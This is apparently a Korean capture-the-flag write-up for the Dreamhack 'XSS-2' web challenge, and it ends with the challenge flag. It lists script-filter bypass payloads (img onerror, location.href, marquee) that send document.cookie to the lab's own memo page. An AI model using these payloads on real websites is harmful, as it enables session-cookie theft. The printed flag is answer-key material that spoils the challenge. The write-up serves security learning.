War Game/dreamhack.io

[Web] XSS-2

re.t 2023. 5. 2. 16:04

'/vuln' 페이지에 접속하면 URL 상에 파라미터로 <script>alert(1)</script>가 삽입되어 있음에도 팝업창이 표시되지 않는다. XSS를 우회하는 로직이 들어있는 것 같다. 아마 전에 봤던 것처럼 script 태그 사용이 막혀있기 때문일 것으로 생각된다.

결과적으로 "script" 문자열을 포함하지 않으면서 자바스크립트 구문을 삽입할 수 있는 환경을 만들어야 한다. 이전에도 비슷한 문제를 풀어봤으니 가장 먼저 떠오른 것은 img나 iframe 태그였다.

 

제일 처음 시도해봤던 구문은 아래와 같았다.

<img src = "http://127.0.0.1:8000/memo?memo=document.cookie()">

아차 싶어 다음과 같이 수정해 다시 시도해봤다.

<img src = "http://127.0.0.1:8000/memo?memo="+document.cookie()>

그러나 여전히 동작하지 않는다. memo 페이지에 접근할 때마다 자동으로 출력되는 "Hello" 스트링만 출력되어 있더라..

 

 

 

그러던 중에 아래와 같은 사이트를 발견하였다. XSS 필터링을 우회할 수 있는 태그들이 적혀있었다. 하나하나 테스트해보며 되는대로 골라잡아보자.

XSS bypass list ( https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec )

 

XSS Filter Bypass List

XSS Filter Bypass List. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

element[attribute='<img src=x onerror=alert('XSS');> 의 실행 결과.

 

오.. 이거 통하는 것 같다. 조금식 변형해가며 계속 검증해봤다.

 

element[attribute='<img src=x onerror=window.open("https://127.0.0.1:8000/memo?memo="+document.cookie);>

-> 엘리먼트 부분은 떼어버려도 유효하게 작동하더라.

 

<img src=x onerror=window.open("https://127.0.0.1:8000/memo?memo="+document.cookie)>

-> window.open이 문제인가? 다른 메소드로 바꿔보자.

 

<img src=x onerror="location.href='https://127.0.0.1:8000/memo?memo='+document.cookie">

-> 그래도 작동을 안 한다. 동일 페이지 내에서 이동하기 위한 것이니 호스트 부분을 떼어볼까?

 

<img src=x onerror="location.href='/memo?memo='+document.cookie">

<img src=x onerror="location.replace('/memo?memo='+document.cookie)">

<img src=x onerror=window.open("/memo?memo="+document.cookie)>

-> 위의 세 코드는 모두 정상적으로 동작한다. 이외에도 marquee 같은 코드들도 '/vuln' 페이지에서 정상적으로 동작하는 것을 확인했었는데 애네들도 뒤에 입력한 주소가 문제이지 해당 부분만 동일하게 수정해주면 정상적으로 동작할 것으로 보인다.

 

<marquee/onstart=window.open("/memo?memo="+document.cookie)>

-> 될 줄 알았는데 안 된다.   :/ 

 

https://blog.naver.com/yiuse78/50100213667

 

[자바스크립트] location.href 와 location.replace 의 차이점.

자바스크립트에서 페이지 이동 시킬때 location.href를 많이 사용한다. 하지만 location.replace 메세드도 ...

blog.naver.com

 

DH{3c01577e9542ec24d68ba0ffb846508f}

 

 

풀이에 참고한 추가 링크

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=diceworld&logNo=220180929456 

 

자바스크립트 페이지 이동 (location.href)

     - location.href 란?      href 는 location 객체에 속해있...

blog.naver.com